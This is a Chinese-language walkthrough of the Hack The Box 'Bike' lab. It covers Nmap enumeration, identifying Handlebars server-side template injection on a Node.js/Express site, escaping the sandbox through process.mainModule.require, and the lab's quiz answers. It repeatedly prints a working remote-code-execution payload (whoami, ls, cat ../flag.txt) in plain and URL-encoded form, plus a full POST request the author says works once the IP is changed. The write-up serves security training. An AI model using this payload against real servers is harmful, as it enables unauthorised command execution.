HTB - Bike
学习
因为在第四题的位置发现是SSTI所以决定好好学一下,我们开始翻译wp
靶场介绍
这台机器专注于利用在Handlebars中发现的服务器端模板注入(SSTI)漏洞,Handlebars是Node.js中的一个模板引擎。这个演练将演示如何在Web服务器中利用SSTI,当开发人员没有正确清理用户输入时。我们还将介绍Node.js、模板引擎和全局变量的基础知识,以及如何在受限的JavaScript命令环境中逃逸沙盒环境。
枚举
第一步是使用Nmap扫描目标IP地址,检查哪些端口是开放的。我们将借助一个叫做Nmap的程序来完成这个任务。以下是每个标志的快速解释及其作用:
-sC: 使用默认脚本集执行脚本扫描。它等同于--script=default。
-sV: 版本检测
-v: 增加详细级别,使Nmap在扫描过程中打印更多信息。
扫描结果显示端口22(SSH)是开放的,但是我们现在会忽略它,因为我们没有可以用来认证的凭证或密钥。我们还发现端口80是开放的,上面运行着一个HTTP Node.js服务器,并且使用了Express框架。

访问80端口后,我们看到一个正在建设中的网页,以及使用电子邮件地址订阅页面更新的选项。网页中的电子邮件订阅功能通常是允许网站访问者通过电子邮件接收关于网站状态或网站所有者(公司或个人)更新信息的选项。
让我们提供一个测试邮箱来验证应用程序是否正常工作。当给定一个应用程序进行测试时,要像正常使用它一样使用它。有时,开发人员会使用糟糕的代码作为快速解决方案,这会导致漏洞。让我们输入邮箱pwninx@hackthebox.eu并点击提交。

一旦我们点击提交,页面会刷新并显示以下输出。

输出显示,在电子邮件字段中提交的任何输入都会在页面重新加载后反射回给用户。这可能会让我们想到各种潜在的利用向量,比如跨站脚本攻击(XSS),但是我们首先需要了解网站后端使用了哪些框架和编程语言。
在这种情况下,我们从80端口的Nmap报告中已经很好地了解了服务器后端的情况,但我们也可以使用一个名为Wappalyzer的有用扩展程序,它可以扫描网站并找到网页正在使用的信息,例如:
- Web框架
- JavaScript框架
- Web服务器
- 编程语言
- 小部件
- 以及更多...要安装像Wappalyzer这样的插件,只需要前往所使用浏览器(Chrome、Firefox等)的相应扩展商店。安装后,重新导航到80端口的Bike机器,我们从该插件中得到以下输出。

Nmap和Wappalyzer都报告称该服务器是基于Node.js构建的,并且使用了Express框架。
什么是Node.js?
Node.js是一个开源、跨平台的后端JavaScript运行环境,可用于构建可扩展的网络应用程序。
什么是Express?
Express是一个极简且灵活的Node.js Web应用程序框架,为Web和移动应用程序提供了强大的功能集。
有了这些信息,我们可以开始识别潜在的利用路径。使用默认载荷(如<script>alert(1)</script>)验证XSS漏洞的各种尝试都未成功。因此,我们必须寻找不同的漏洞。
Node.js和Python Web后端服务器经常使用一种称为"模板引擎"的软件。
什么是模板引擎?
模板引擎用于在网页上显示动态生成的内容。它们用实际值替换模板文件中的变量,并将这些值显示给客户端(即用户通过浏览器打开页面)。
例如,如果开发人员需要创建一个包含用户名、电子邮件、生日和各种其他内容的用户资料页面,这对于多个不同的用户来说,用静态HTML页面很难甚至不可能实现。在这里会使用模板引擎,配合一个包含资料页面基本结构的静态"模板",然后手动填充用户信息并显示给用户。
模板引擎和所有软件一样,容易出现漏洞。我们今天要关注的漏洞称为服务器端模板注入(SSTI)。
什么是SSTI?
服务器端模板注入是一种漏洞,攻击者将恶意输入注入到模板中以在服务器上执行命令。
简单来说,SSTI是一种利用技术,攻击者将(对模板引擎来说)原生的代码注入到网页中。代码随后通过模板引擎执行,攻击者获得了受影响服务器上的代码执行权限。
这种攻击在Node.js网站上非常常见,很有可能使用了模板引擎来反射用户在联系人字段中输入的电子邮件。
识别框架
为了利用潜在的SSTI漏洞,我们首先需要确认其存在。在Google上搜索常见的SSTI载荷后,我们找到了这篇Hacktricks文章,其中展示了各种不同模板引擎的利用技术。下图显示了如何识别SSTI漏洞是否存在,以及如何找出正在使用哪个模板引擎。一旦确定了引擎,就可以制作更具体的载荷来实现远程代码执行。

Hacktricks页面中的检测段落展示了各种常用于模板表达式的特殊字符。
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}其中一些载荷也可以在前面的图片中看到,用于识别SSTI漏洞。
如果存在SSTI,提交其中一个载荷后,Web服务器会将这些表达式检测为有效代码并尝试执行它们,在此实例中计算数学方程式7*7(七乘以七),结果等于49。
为了测试这个漏洞,让我们尝试在电子邮件提交表单中输入${7*7}。
那么简单来说我们通过上面的这些载荷可以来识别模板

服务器没有执行这个表达式,只是将它反射回给我们。让我们继续尝试第二个载荷,也就是{{7*7}}。

提交载荷后,出现了一个错误页面。
["Error: Parse error on line 1:","${{7*7}}","---^","Expecting 'ID', 'STRING', 'NUMBER', 'BOOLEAN', 'UNDEFINED', 'NULL', 'DATA', got 'INVALID'"," at Parser.parseError (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:268:19)"," at Parser.parse (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:337:30)"," at HandlebarsEnvironment.parse (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/base.js:46:43)"," at compileInput (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:515:19)"," at ret (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:524:18)"," at router.post (/root/Backend/routes/handlers.js:15:18)"," at Layer.handle [as handle_request] (/root/Backend/node_modules/express/lib/router/layer.js:95:5)"," at next (/root/Backend/node_modules/express/lib/router/route.js:137:13)"," at Route.dispatch (/root/Backend/node_modules/express/lib/router/route.js:112:3)"," at Layer.handle [as handle_request] (/root/Backend/node_modules/express/lib/router/layer.js:95:5)"]

这意味着载荷确实被模板引擎检测为有效,但是代码存在一些错误,无法执行。错误并不总是一件坏事。相反,对于渗透测试人员来说,它可以提供有价值的信息。在这种情况下,我们可以看到服务器是从/root/Backend目录运行的,同时也表明正在使用Handlebars模板引擎。
利用
回顾Hacktricks,我们可以看到其中提到了Handlebars和Node.js,以及一个可用于在Handlebars服务器端模板注入(SSTI)中潜在执行命令的有效载荷。 为了确认是否存在这种情况,我们可以使用Burpsuite通过FoxyProxy捕获POST请求,并对其进行编辑以包含我们的有效载荷。我们有一个关于“使用Web代理”的优质模块。如果你以前没有使用过BurpSuite,这个模块会提供很多有价值的信息。
这个我们就不看了bp抓包还不会可以重开了
启动BurpSuite并正确配置Web代理后,再次提交有效载荷。BurpSuite应会捕获该请求并允许你对其进行编辑。
这里我们直接操作一下

在修改请求之前,先按CTRL+R将这个HTTP数据包发送到BurpSuite的Repeater模块。现在我们从HackTricks网站上标题为“Handlebars (NodeJS)”的部分获取一个有效载荷。

其实是这个因为我们在刚才的报错包里面可以看到这个

所以我们使用Handlebars(NodeJS)
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
上面的代码可能看起来难以理解,但在本文中,我们主要关注下面这一行。
{{this.push "return require('child_process').exec('whoami');"}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
这一行指令服务器执行特定的系统命令(在本例中是whoami)。在本文后面的内容中,我们会修改这一行来在服务器上执行不同的命令。从Hacktricks复制完整的有效载荷后,我们必须对其进行URL编码,以便它能正确传递给服务器。
这一行指令服务器执行特定的系统命令(在本例中是whoami)。在本文后面的内容中,我们会修改这一行来在服务器上执行不同的命令。从Hacktricks复制完整的有效载荷后,我们必须对其进行URL编码,以便它能正确传递给服务器。
URL编码
向Web服务器发出请求时,我们发送的数据只能包含标准的128个字符ASCII集中的特定字符。不属于该集合的保留字符必须进行编码。因此,我们使用一种称为URL编码的编码程序。 通过这个过程,例如,保留字符&会变成%26。幸运的是,BurpSuite有一个名为Decoder的标签,允许我们使用各种不同的编码方法(包括URL)对所选文本进行解码或编码。 让我们将上面的有效载荷粘贴到Decoder的顶部窗格中,然后选择“Encode as > URL”。

复制底部窗格中经过URL编码的有效载荷,并通过请求标签粘贴到email=字段中。你会得到类似下图的内容。

接下来,让我们点击顶部的橙色“Send”按钮来发送这个有效载荷。

可以看到这给我们报了Reference错误,提示“require is not defined”(require未定义)。查看我们的有效载荷,可以注意到以下代码。
{{this.push "return require('child_process').exec('whoami');"}}这很可能是有效载荷中出现错误的部分。require是JavaScript中(更具体地说是Node.js中)的一个关键字,用于从其他模块或文件加载代码。上面的代码试图将Child Process模块加载到内存中,并使用它来执行系统命令(在本例中是whoami)。
模板引擎通常处于沙箱环境中,这意味着它们的代码在受限制的代码空间中运行,以便在出现恶意代码运行的情况下,很难加载能够执行系统命令的模块。如果我们不能直接使用require来加载此类模块,就必须另寻他法。
简而言之,我们处于一个沙箱中,我们的环境有限需要另找他法
全局变量
在计算机编程中,“全局变量”(Globals)是在整个程序中都可全局访问的变量。在Node.js中,其工作原理类似,全局对象可在所有已加载的模块中使用。通过关键词“Node.js Global Scope”快速进行谷歌搜索,会找到这份文档,其中详细列出了Node.js中所有可用的全局对象。值得注意的是,该文档还展示了一系列看似是全局对象、实则为内置对象的变量。它们如下所示:
__dirname
__filename
exports
module
require()从列表中可以看出,require实际上并不在全局作用域中,因此在特定情况下可能无法访问。仔细查看文档会发现,存在一个process对象。文档指出,该对象提供有关当前Node.js进程的信息并能对其进行控制。
我们或许可以使用这个对象来加载模块。让我们看看能否从服务器端模板注入(SSTI)中调用它。按如下方式修改你的有效载荷:
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process;"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}按照之前所示对有效载荷进行URL编码,然后使用BurpSuite的Repeater发送它。
We will contact you at: e
2
[object Object]
function Function() { [native code] }
2
[object Object]
[object process]响应中没有包含错误,并且我们可以看到其中包含了“[object process]”。
这意味着process对象确实是可用的。 仔细查看process对象的文档,我们发现它有一个mainModule属性,该属性从Node.js 14.0.0版本开始已被弃用,但弃用并不一定意味着无法访问。
通过关键词“Node.js mainModule”快速进行谷歌搜索,会找到这篇博客文章,其中详细介绍了该属性的用法。 具体来说,文章提到该属性返回一个包含主模块引用的对象。
由于Handlebars运行在沙箱环境中,我们或许可以使用mainModule属性直接加载主函数,而由于主函数很可能不在沙箱中,因此可以从那里加载require。让我们再次修改有效载荷,看看mainModule是否可访问。
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule;"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}对有效载荷进行URL编码,然后按照之前所示,使用Repeater模块发送。返回的响应如下:
We will contact you at: e
2
[object Object]
function Function() { [native code] }
2
[object Object]
[object Object]这次也没有错误,而且我们在响应的末尾看到了一个额外的对象,这意味着该属性确实是可用的。现在让我们尝试调用require并加载一个模块。我们可以加载child_process模块,因为它在默认的Node.js安装中就有,并且可用于执行系统命令。按如下方式修改有效载荷:
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}然后我们再次url编码注入
We will contact you at: e
2
[object Object]
function Function() { [native code] }
2
[object Object]
[object Object]简单来说就是原本的主函数不在沙箱中,我们通过process对象的mainModule属性可以加载主函数然后通过这样的方法再进行一个主函数的调用
require 对象已成功调用,且 child_process 模块已加载。现在我们尝试运行系统命令。
其实现在就很简单了,主要就是模板的判断和payload的运用
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}如上使用require调用child_process 模块执行execSync他和exec其实差不多
child_process.exec():
生成一个 shell,然后在该 shell 中执行command,并缓冲所有生成的输出。command传递给 exec 函数的字符串将由 shell 直接处理,特殊字符(因 shell而异)需要进行相应的处理:
该child_process.execSync()方法与 基本相同, child_process.exec()不同之处在于该方法在子进程完全关闭之前不会返回。当发生超时并killSignal发送超时信号时,该方法在进程完全退出之前不会返回。如果子进程拦截并处理了SIGTERM 信号但未退出,则父进程将等待直到子进程退出。
child_process.execSync()官方文档描述:https://nodejs.org/api/child_process.html#child_processexecsynccommand-options
这里不用child_process.exec(command[, options][, callback])
主要是因为试过了发现不能够执行额
成功执行如下

发现我们成功执行命令那么我们完成了nodejs的成功的沙箱逃逸+Handlebars(NodeJS)模板注入
突然感觉有点牛逼,这就是沙箱嘛
做题
首先基操ping靶场发现延时还可以

然后上挂fscan

简单扫一下nmap

┌──(root㉿kali-plus)-[~/Desktop/kali]
└─# nmap -sV -sC --min-rate 1000 10.129.97.64
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-24 20:59 CST
Nmap scan report for 10.129.97.64
Host is up (0.93s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Node.js (Express middleware)
|_http-title: Bike
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.87 seconds然后先来答题
1.nmap 会识别哪些 TCP 端口是开放的?请用逗号分隔的端口列表(端口号从低到高排列,中间不带空格)来回答。
这个直接就是22,80
2.第一个问题中确定的 http/web 端口监听服务正在运行哪个软件?
这个nmap已经扫出来了
Node.js3.根据 Wappalyzer,该 Web 框架的名称是什么?
我们直接访问一下

额,一个很抽象的小人

Express
4.我们通过提交 {{7*7}} 来测试的漏洞名称是什么?
Server Side Template Injection5.Node.JS 中使用的模板引擎是什么?
Handlebars6.用于对文本进行编码的 BurpSuite 选项卡的名称是什么?
Decoder
7.为了在 HTTP 请求的有效负载中发送特殊字符,我们需要对有效负载进行编码。我们使用哪种类型的编码?
url8.当我们使用 HackTricks 的 Payload 尝试运行系统命令时,会收到错误。响应错误中的“未定义”是什么意思?
require9.哪个变量传统上是浏览器上下文中顶级范围的名称,但在 Node.JS 中不是?
global10.利用此漏洞,我们可以以运行 Web 服务器的用户身份执行命令。该用户的名字是什么?
root
11.提交根标志
我们都能命令执行了我们直接看一下当前目录有没有flag
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('ls');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%70%72%6f%63%65%73%73%2e%6d%61%69%6e%4d%6f%64%75%6c%65%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%53%79%6e%63%28%27%6c%73%27%29%3b%22%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d We will contact you at: e
2
[object Object]
function Function() { [native code] }
2
[object Object]
index.js
node_modules
package.json
package-lock.json
public
routes
views最后在上级目录找到flag.txt所以最后的payload为
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('cat ../flag.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%70%72%6f%63%65%73%73%2e%6d%61%69%6e%4d%6f%64%75%6c%65%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%53%79%6e%63%28%27%63%61%74%20%2e%2e%2f%66%6c%61%67%2e%74%78%74%27%29%3b%22%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7dPOST / HTTP/1.1
Host: 10.129.97.64
Content-Length: 1627
Cache-Control: max-age=0
Origin: http://10.129.97.64
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.129.97.64/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
email=%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%70%72%6f%63%65%73%73%2e%6d%61%69%6e%4d%6f%64%75%6c%65%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%53%79%6e%63%28%27%63%61%74%20%2e%2e%2f%66%6c%61%67%2e%74%78%74%27%29%3b%22%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d
&action=Submitpayload包,改一下IP能直接用应该